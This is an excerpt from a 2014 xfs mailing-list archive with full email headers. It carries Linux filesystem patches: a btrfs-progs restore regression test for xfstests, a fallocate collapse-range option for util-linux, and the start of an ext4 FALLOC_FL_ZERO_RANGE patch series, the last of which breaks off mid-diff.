oss.sgi.com (Postfix) with ESMTP id 5BB3E7F50 for ; Tue, 25 Feb 2014 12:44:18 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id CDAB9AC003 for ; Tue, 25 Feb 2014 10:44:17 -0800 (PST) X-ASG-Debug-ID: 1393353855-04cb6c5677312e0001-NocioJ Received: from mail-wg0-f48.google.com (mail-wg0-f48.google.com [74.125.82.48]) by cuda.sgi.com with ESMTP id uyiCnYlOkQlOxGBd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 10:44:16 -0800 (PST) X-Barracuda-Envelope-From: fdmanana@gmail.com X-Barracuda-Apparent-Source-IP: 74.125.82.48 Received: by mail-wg0-f48.google.com with SMTP id b13so760609wgh.31 for ; Tue, 25 Feb 2014 10:44:15 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=QodxlZSbqhDIg0oUqlwgIvR+fOXz45wW+WvMgxxpsJw=; b=cFlBzP3erwsiyTcEjDLouI1g0pQGS8NouOclc7pl6cajoEwxLd01VF9RLNm2MuiYas dhFr4vqagCSzazkl0Rd6m98i6wxLDLjL8M/eRWVX0eQxYiHhhv6MkFwWjF8SO90YWSjU HcKREaMZF9R8RLlWocACyHtnqHCmtqis3/geG1EUEs1WEltFMy0vO0c1QQWEvJn50uiL MkhwwKpR/tvFItJuQ8exJt9LGljAfG4IXsx+MSfngZSi81AxlMZbK1tyUkmHwJEX6Lfp X7FN1CtZqY5oK9AHo8xbQ4jurg7PYcz4MNNzND610UErrRkXopYVQT9cAEcf6fy8ER9U hWSw== X-Received: by 10.194.174.197 with SMTP id bu5mr3418557wjc.71.1393353854843; Tue, 25 Feb 2014 10:44:14 -0800 (PST) Received: from storm-desktop.lan (bl9-170-181.dsl.telepac.pt. [85.242.170.181]) by mx.google.com with ESMTPSA id ha1sm52939965wjc.23.2014.02.25.10.44.13 for (version=TLSv1.1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Tue, 25 Feb 2014 10:44:14 -0800 (PST) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, Filipe David Borba Manana Subject: [PATCH v2] xfstests: add test for btrfs-progs restore feature Date: Tue, 25 Feb 2014 18:44:08 +0000 X-ASG-Orig-Subj: [PATCH v2] xfstests: add test for btrfs-progs restore feature Message-Id: <1393353848-26790-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.9.5 In-Reply-To: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> References: <1393352816-26065-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-wg0-f48.google.com[74.125.82.48] X-Barracuda-Start-Time: 1393353856 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145503 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature This is a regression test to verify that the restore feature of btrfs-progs is able to correctly recover files that have compressed extents, specially when the respective file extent items have a non-zero data offset field. This issue is fixed by the following btrfs-progs patch: Btrfs-progs: fix restore of files with compressed extents Signed-off-by: Filipe David Borba Manana --- V2: Fixed title of btrfs-progs patch in the comment and commit message. tests/btrfs/043 | 105 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/043.out | 40 ++++++++++++++++++++ tests/btrfs/group | 1 + 3 files changed, 146 insertions(+) create mode 100755 tests/btrfs/043 create mode 100644 tests/btrfs/043.out diff --git a/tests/btrfs/043 b/tests/btrfs/043 new file mode 100755 index 0000000..7590dd9 --- /dev/null +++ b/tests/btrfs/043 @@ -0,0 +1,105 @@ +#! /bin/bash +# FS QA Test No. btrfs/043 +# +# Test that btrfs-progs' restore command is able to correctly recover files +# that have compressed extents, specially when the respective file extent +# items have a non-zero data offset field. +# +# This issue is fixed by the following btrfs-progs patch: +# +# Btrfs-progs: fix restore of files with compressed extents +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=/tmp/$$ +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_need_to_be_root + +rm -f $seqres.full + +test_btrfs_restore() +{ + if [ -z $1 ] + then + OPTIONS="" + else + OPTIONS="-o compress-force=$1" + fi + _scratch_mkfs >/dev/null 2>&1 + _scratch_mount $OPTIONS + + $XFS_IO_PROG -f -c "pwrite -S 0xff -b 100000 0 100000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Ensure a single file extent item is persisted. + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT + + $XFS_IO_PROG -c "pwrite -S 0xaa -b 100000 100000 100000" \ + $SCRATCH_MNT/foo | _filter_xfs_io + + # Now ensure a second one is created (and not merged with previous one). + _run_btrfs_util_prog filesystem sync $SCRATCH_MNT + + # Make the extent item be split into several ones, each with a data + # offset field != 0 + $XFS_IO_PROG -c "pwrite -S 0x1e -b 2 10000 2" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xd0 -b 11 33000 11" $SCRATCH_MNT/foo \ + | _filter_xfs_io + $XFS_IO_PROG -c "pwrite -S 0xbc -b 100 99000 100" $SCRATCH_MNT/foo \ + | _filter_xfs_io + + md5sum $SCRATCH_MNT/foo | _filter_scratch + + _scratch_unmount + _check_scratch_fs + + _run_btrfs_util_prog restore $SCRATCH_DEV $tmp + md5sum $tmp/foo | cut -d ' ' -f 1 +} + +mkdir $tmp +echo "Testing restore of file compressed with lzo" +test_btrfs_restore "lzo" +echo "Testing restore of file compressed with zlib" +test_btrfs_restore "zlib" +echo "Testing restore of file without any compression" +test_btrfs_restore + +status=0 +exit diff --git a/tests/btrfs/043.out b/tests/btrfs/043.out new file mode 100644 index 0000000..d22e4ce --- /dev/null +++ b/tests/btrfs/043.out @@ -0,0 +1,40 @@ +QA output created by 043 +Testing restore of file compressed with lzo +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file compressed with zlib +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 +Testing restore of file without any compression +wrote 100000/100000 bytes at offset 0 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100000/100000 bytes at offset 100000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 2/2 bytes at offset 10000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 11/11 bytes at offset 33000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +wrote 100/100 bytes at offset 99000 +XXX Bytes, X ops; XX:XX:XX.X (XXX YYY/sec and XXX ops/sec) +67edd038aaa42adb5a1aa78f2eb1d2b6 SCRATCH_MNT/foo +67edd038aaa42adb5a1aa78f2eb1d2b6 diff --git a/tests/btrfs/group b/tests/btrfs/group index 1037761..fabe3b5 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -45,3 +45,4 @@ 040 auto quick 041 auto quick 042 auto quick +043 auto quick -- 1.7.9.5 From dongsu.park@profitbricks.com Tue Feb 25 13:08:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B82767F50 for ; Tue, 25 Feb 2014 13:08:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 7D3DE304071 for ; Tue, 25 Feb 2014 11:08:41 -0800 (PST) X-ASG-Debug-ID: 1393355317-04bdf05dab35370001-NocioJ Received: from mail-bk0-f50.google.com (mail-bk0-f50.google.com [209.85.214.50]) by cuda.sgi.com with ESMTP id FR59rKLxKutSaVTK (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Tue, 25 Feb 2014 11:08:38 -0800 (PST) X-Barracuda-Envelope-From: dongsu.park@profitbricks.com X-Barracuda-Apparent-Source-IP: 209.85.214.50 Received: by mail-bk0-f50.google.com with SMTP id w10so385253bkz.37 for ; Tue, 25 Feb 2014 11:08:37 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=KKxgbTvJAeLqUFqIg/8AF6gwgAFs92hyZW7DYxzQFHs=; b=Yw+M2A0RKshU1QP/KMohrhud9CxbC5b1c9rNeiXjtP6aI8xhIj7FAsRBHfgyMxKaxY gUQoPgSDVLLpcUnE9SzhOoOGGbkBZJUA0ICAiGJIGchRlpL1lI5pN1de+XF8Frz2U/pB yP05fi9RdHXdHsehilwAafcrqjMHvkytfo3OWXwua4P/SRwlYOChEhjjfoSrYybCLlE8 TssAPw+qulbXknq6k4POto8ltZZ9djQ0tUfiOfjPFfKDizgHeh+WYWsBRv6QU86rN1o5 GxHOVzwQJid1lcmeXfIjLLfCb8qYPbvR/xzB5Ny7+d1LXQKiUty7i15spuqpXVJ6e01F +NGQ== X-Gm-Message-State: ALoCoQlZywguN4TlC04m4tJypFevRrMX70aFGfP4RxqtaUxbyYTfIRJF0HIg3QSodwZ+/o1OHbqP X-Received: by 10.205.68.195 with SMTP id xz3mr48377bkb.85.1393355317067; Tue, 25 Feb 2014 11:08:37 -0800 (PST) Received: from dseoul.localdomain (f055071132.adsl.alicedsl.de. [78.55.71.132]) by mx.google.com with ESMTPSA id a9sm7525828bkh.0.2014.02.25.11.08.34 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Tue, 25 Feb 2014 11:08:35 -0800 (PST) From: Dongsu Park To: Namjae Jeon Cc: linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, tytso@mit.edu, Dongsu Park , Lukas Czerner , Namjae Jeon , Ashish Sangwan Subject: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE Date: Tue, 25 Feb 2014 20:08:25 +0100 X-ASG-Orig-Subj: [PATCH] util-linux/fallocate: introduce an option -c to support FALLOC_FL_COLLAPSE_RANGE Message-Id: <1393355305-12009-1-git-send-email-dongsu.park@profitbricks.com> X-Mailer: git-send-email 1.8.5.3 In-Reply-To: References: X-Barracuda-Connect: mail-bk0-f50.google.com[209.85.214.50] X-Barracuda-Start-Time: 1393355318 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145503 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Introduce a new option -c (or --collapse-range) to support a new flag FALLOC_FL_COLLAPSE_RANGE for fallocate(2). It will nullify a particular range [offset, offset+len] by shifting extents beyond the range to the beginning of the hole. To test that, it's necessary to apply kernel patches in the patchset "fs: Introduce new flag (FALLOC_FL_COLLAPSE_RANGE) for fallocate" [1], as well as "[PATCH v6] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate". [2] As discussed in the thread "[PATCH RESEND 3/10] ext4: Add support FALLOC_FL_COLLAPSE_RANGE for fallocate", [3] this patch to util-linux will be useful for testing collapse-range inside xfstests. [1] https://lkml.org/lkml/2014/2/18/374 [2] https://lkml.org/lkml/2014/2/20/318 [3] https://lkml.org/lkml/2014/2/18/83 Cc: Lukas Czerner Cc: Namjae Jeon Cc: Ashish Sangwan Signed-off-by: Dongsu Park --- sys-utils/fallocate.1 | 7 +++++++ sys-utils/fallocate.c | 45 ++++++++++++++++++++++++++++----------------- 2 files changed, 35 insertions(+), 17 deletions(-) diff --git a/sys-utils/fallocate.1 b/sys-utils/fallocate.1 index 8a3aa4f..634c595 100644 --- a/sys-utils/fallocate.1 +++ b/sys-utils/fallocate.1 @@ -6,6 +6,7 @@ fallocate \- preallocate or deallocate space to a file .B fallocate .RB [ \-n ] .RB [ \-p ] +.RB [ \-c ] .RB [ \-o .IR offset ] .B \-l @@ -54,6 +55,12 @@ implied. .IP You can think of this as doing a "\fBcp --sparse\fP" and renaming the dest file as the original, without the need for extra disk space. +.IP "\fB\-c, \-\-collapse-range\fP" +Collapse a particular file range to nullify the hole. Extents beyond the range +[offset, offset+length] will be shifted to the beginning of hole. Hence this +command does not leave a hole, while \fI\-\-punch-hole\fP leaves a hole +instead of shifting extents. Both offset and length should be aligned to +the block size of filesystem. .IP "\fB\-o, \-\-offset\fP \fIoffset\fP Specifies the beginning offset of the allocation, in bytes. .IP "\fB\-l, \-\-length\fP \fIlength\fP diff --git a/sys-utils/fallocate.c b/sys-utils/fallocate.c index d8a74bf..3c8a8d2 100644 --- a/sys-utils/fallocate.c +++ b/sys-utils/fallocate.c @@ -39,7 +39,8 @@ #endif #if defined(HAVE_LINUX_FALLOC_H) && \ - (!defined(FALLOC_FL_KEEP_SIZE) || !defined(FALLOC_FL_PUNCH_HOLE)) + (!defined(FALLOC_FL_KEEP_SIZE) || !defined(FALLOC_FL_PUNCH_HOLE) || \ + !defined(FALLOC_FL_COLLAPSE_RANGE)) # include /* non-libc fallback for FALLOC_FL_* flags */ #endif @@ -51,6 +52,10 @@ # define FALLOC_FL_PUNCH_HOLE 2 #endif +#ifndef FALLOC_FL_COLLAPSE_RANGE +# define FALLOC_FL_COLLAPSE_RANGE 8 +#endif + #include "nls.h" #include "strutils.h" #include "c.h" @@ -66,12 +71,13 @@ static void __attribute__((__noreturn__)) usage(FILE *out) fprintf(out, _(" %s [options] \n"), program_invocation_short_name); fputs(USAGE_OPTIONS, out); - fputs(_(" -d, --dig-holes detect and dig holes\n"), out); - fputs(_(" -l, --length length of the (de)allocation, in bytes\n"), out); - fputs(_(" -n, --keep-size don't modify the length of the file\n"), out); - fputs(_(" -o, --offset offset of the (de)allocation, in bytes\n"), out); - fputs(_(" -p, --punch-hole punch holes in the file\n"), out); - fputs(_(" -v, --verbose verbose mode\n"), out); + fputs(_(" -c, --collapse-range collapse a hole in the file\n"), out); + fputs(_(" -d, --dig-holes detect and dig holes\n"), out); + fputs(_(" -l, --length length of the (de)allocation, in bytes\n"), out); + fputs(_(" -n, --keep-size don't modify the length of the file\n"), out); + fputs(_(" -o, --offset offset of the (de)allocation, in bytes\n"), out); + fputs(_(" -p, --punch-hole punch holes in the file\n"), out); + fputs(_(" -v, --verbose verbose mode\n"), out); fputs(USAGE_SEPARATOR, out); fputs(USAGE_HELP, out); @@ -258,15 +264,16 @@ int main(int argc, char **argv) loff_t offset = 0; static const struct option longopts[] = { - { "help", 0, 0, 'h' }, - { "version", 0, 0, 'V' }, - { "keep-size", 0, 0, 'n' }, - { "punch-hole", 0, 0, 'p' }, - { "dig-holes", 0, 0, 'd' }, - { "offset", 1, 0, 'o' }, - { "length", 1, 0, 'l' }, - { "verbose", 0, 0, 'v' }, - { NULL, 0, 0, 0 } + { "help", 0, 0, 'h' }, + { "version", 0, 0, 'V' }, + { "keep-size", 0, 0, 'n' }, + { "punch-hole", 0, 0, 'p' }, + { "collapse-range", 0, 0, 'c' }, + { "dig-holes", 0, 0, 'd' }, + { "offset", 1, 0, 'o' }, + { "length", 1, 0, 'l' }, + { "verbose", 0, 0, 'v' }, + { NULL, 0, 0, 0 } }; setlocale(LC_ALL, ""); @@ -274,7 +281,8 @@ int main(int argc, char **argv) textdomain(PACKAGE); atexit(close_stdout); - while ((c = getopt_long(argc, argv, "hvVnpdl:o:", longopts, NULL)) != -1) { + while ((c = getopt_long(argc, argv, "hvVncpdl:o:", longopts, NULL)) + != -1) { switch(c) { case 'h': usage(stdout); @@ -282,6 +290,9 @@ int main(int argc, char **argv) case 'V': printf(UTIL_LINUX_VERSION); return EXIT_SUCCESS; + case 'c': + mode |= FALLOC_FL_COLLAPSE_RANGE; + break; case 'p': mode |= FALLOC_FL_PUNCH_HOLE; /* fall through */ -- 1.8.5.3 From lczerner@redhat.com Tue Feb 25 13:14:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 1E9B97F50 for ; Tue, 25 Feb 2014 13:14:55 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E19E0304075 for ; Tue, 25 Feb 2014 11:14:54 -0800 (PST) X-ASG-Debug-ID: 1393355693-04cbb066e435a10001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id zMxH92Kl1umFU7Il for ; Tue, 25 Feb 2014 11:14:54 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJEoZ5015323 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:14:50 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuQ015960; Tue, 25 Feb 2014 14:14:48 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Date: Tue, 25 Feb 2014 20:14:33 +0100 X-ASG-Orig-Subj: [PATCH 0/6 v2] Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-Id: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355693 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same functionality as xfs ioctl XFS_IOC_ZERO_RANGE. It can be used to convert a range of file to zeros preferably without issuing data IO. Blocks should be preallocated for the regions that span holes in the file, and the entire range is preferable converted to unwritten extents - even though file system may choose to zero out the extent or do whatever which will result in reading zeros from the range while the range remains allocated for the file. This can be also used to preallocate blocks past EOF in the same way as with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode size to remain the same. You can test this feature yourself using xfstests, of fallocate(1) however you'll need patches for util_linux, xfsprogs and xfstests which are going to follow soon. I tested this mostly with a subset of xfstests using fsx and fsstress and even with new generic/290 which is just a copy of xfs/290 using fzero command for xfs_io instead of zero (which uses ioctl). I was testing on x86_64 and ppc64 with block sizes of 1024, 2048 and 4096. ./check generic/076 generic/232 generic/013 generic/070 generic/269 generic/083 generic/117 generic/068 generic/231 generic/127 generic/091 generic/075 generic/112 generic/263 generic/091 generic/075 generic/256 generic/255 generic/316 generic/300 generic/290 ext4/242; Note that there is a work in progress on FALLOC_FL_COLLAPSE_RANGE which touches the same area as this pach set does, so we should figure out which one should go first and modify the other on top of it. This has been based on top of xfs-collapse-range so it does not contain ext4 collapse range changes. Thanks! -Lukas Changelog: v2: - rebased on top of collapse_range changes - make varisou ext4 functions static - flag testing changes in do_fallocate -- [PATCH 1/6] ext4: Update inode i_size after the preallocation [PATCH 2/6] ext4: refactor ext4_fallocate code [PATCH 3/6] ext4: translate fallocate mode bits to strings [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate [PATCH 5/6] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE From lczerner@redhat.com Tue Feb 25 13:14:59 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 619D27F56 for ; Tue, 25 Feb 2014 13:14:59 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 269058F8073 for ; Tue, 25 Feb 2014 11:14:56 -0800 (PST) X-ASG-Debug-ID: 1393355694-04bdf05daa35680001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 4N0YvyUE60RdCrTx for ; Tue, 25 Feb 2014 11:14:55 -0800 (PST) X-Barracuda-Envelope-From: lczerner@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1PJEpvc026555 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 25 Feb 2014 14:14:52 -0500 Received: from localhost.localdomain.com (vpn1-4-133.ams2.redhat.com [10.36.4.133]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1PJEmuR015960; Tue, 25 Feb 2014 14:14:50 -0500 From: Lukas Czerner To: linux-ext4@vger.kernel.org Cc: tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, Lukas Czerner Subject: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation Date: Tue, 25 Feb 2014 20:14:34 +0100 X-ASG-Orig-Subj: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation Message-Id: <1393355679-11160-2-git-send-email-lczerner@redhat.com> In-Reply-To: <1393355679-11160-1-git-send-email-lczerner@redhat.com> References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393355694 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Currently in ext4_fallocate we would update inode size, c_time and sync the file with every partial allocation which is entirely unnecessary. It is true that if the crash happens in the middle of truncate we might end up with unchanged i size, or c_time which I do not think is really a problem - it does not mean file system corruption in any way. Note that xfs is doing things the same way e.g. update all of the mentioned after the allocation is done. This commit moves all the updates after the allocation is done. In addition we also need to change m_time as not only inode has been change bot also data regions might have changed (unwritten extents). However m_time will be only updated when i_size changed. Also we do not need to be paranoid about changing the c_time only if the actual allocation have happened, we can change it even if we try to allocate only to find out that there are already block allocated. It's not really a big deal and it will save us some additional complexity. Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG section. Signed-off-by: Lukas Czerner --- fs/ext4/extents.c | 89 ++++++++++++++++++++++--------------------------------- 1 file changed, 35 insertions(+), 54 deletions(-) diff --git a/fs/ext4/extents.c b/fs/ext4/extents.c index 10cff47..67c7917 100644 --- a/fs/ext4/extents.c +++ b/fs/ext4/extents.c @@ -4513,36 +4513,6 @@ retry: ext4_std_error(inode->i_sb, err); } -static void ext4_falloc_update_inode(struct inode *inode, - int mode, loff_t new_size, int update_ctime) -{ - struct timespec now; - - if (update_ctime) { - now = current_fs_time(inode->i_sb); - if (!timespec_equal(&inode->i_ctime, &now)) - inode->i_ctime = now; - } - /* - * Update only when preallocation was requested beyond - * the file size. - */ - if (!(mode & FALLOC_FL_KEEP_SIZE)) { - if (new_size > i_size_read(inode)) - i_size_write(inode, new_size); - if (new_size > EXT4_I(inode)->i_disksize) - ext4_update_i_disksize(inode, new_size); - } else { - /* - * Mark that we allocate beyond EOF so the subsequent truncate - * can proceed even if the new size is the same as i_size. - */ - if (new_size > i_size_read(inode)) - ext4_set_inode_flag(inode, EXT4_INODE_EOFBLOCKS); - } - -} - /* * preallocate space for a file. This implements ext4's fallocate file * operation, which gets called from sys_fallocate system call. @@ -4554,13 +4524,14 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) { struct inode *inode = file_inode(file); handle_t *handle; - loff_t new_size; + loff_t new_size = 0; unsigned int max_blocks; int ret = 0; int ret2 = 0; int retries = 0; int flags; struct ext4_map_blocks map; + struct timespec tv; unsigned int credits, blkbits = inode->i_blkbits; /* Return error if mode is not supported */ @@ -4594,12 +4565,15 @@ long ext4_fallocate(struct file *file, int mode, loff_t offset, loff_t len) */ credits = ext4_chunk_trans_blocks(inode, max_blocks); mutex_lock(&inode->i_mutex); - ret = inode_newsize_ok(inode, (len + offset)); - if (ret) { - mutex_unlock(&inode->i_mutex); - trace_ext4_fallocate_exit(inode, offset, max_blocks, ret); - return ret; + + if (!(mode & FALLOC_FL_KEEP_SIZE) && + offset + len > i_size_read(inode)) { + new_size = offset + len; + ret = inode_newsize_ok(inode, new_size); + if (ret) + goto out; } + flags = EXT4_GET_BLOCKS_CREATE_UNINIT_EXT; if (mode & FALLOC_FL_KEEP_SIZE) flags |= EXT4_GET_BLOCKS_KEEP_SIZE; @@ -4623,28 +4597,14 @@ retry: } ret = ext4_map_blocks(handle, inode, &map, flags); if (ret <= 0) { -#ifdef EXT4FS_DEBUG - ext4_warning(inode->i_sb, - "inode #%lu: block %u: len %u: " - "ext4_ext_map_blocks returned %d", - inode->i_ino, map.m_lblk, - map.m_len, ret); -#endif + ext4_debug("inode #%lu: block %u: len %u: " + "ext4_ext_map_blocks returned %d", + inode->i_ino, map.m_lblk, + map.m_len, ret); ext4_mark_inode_dirty(handle, inode); ret2 = ext4_journal_stop(handle); break; } - if ((map.m_lblk + ret) >= (EXT4_BLOCK_ALIGN(offset + len, - blkbits) >> blkbits)) - new_size = offset + len; - else - new_size = ((loff_t) map.m_lblk + ret) << blkbits; - - ext4_falloc_update_inode(inode, mode, new_size, - 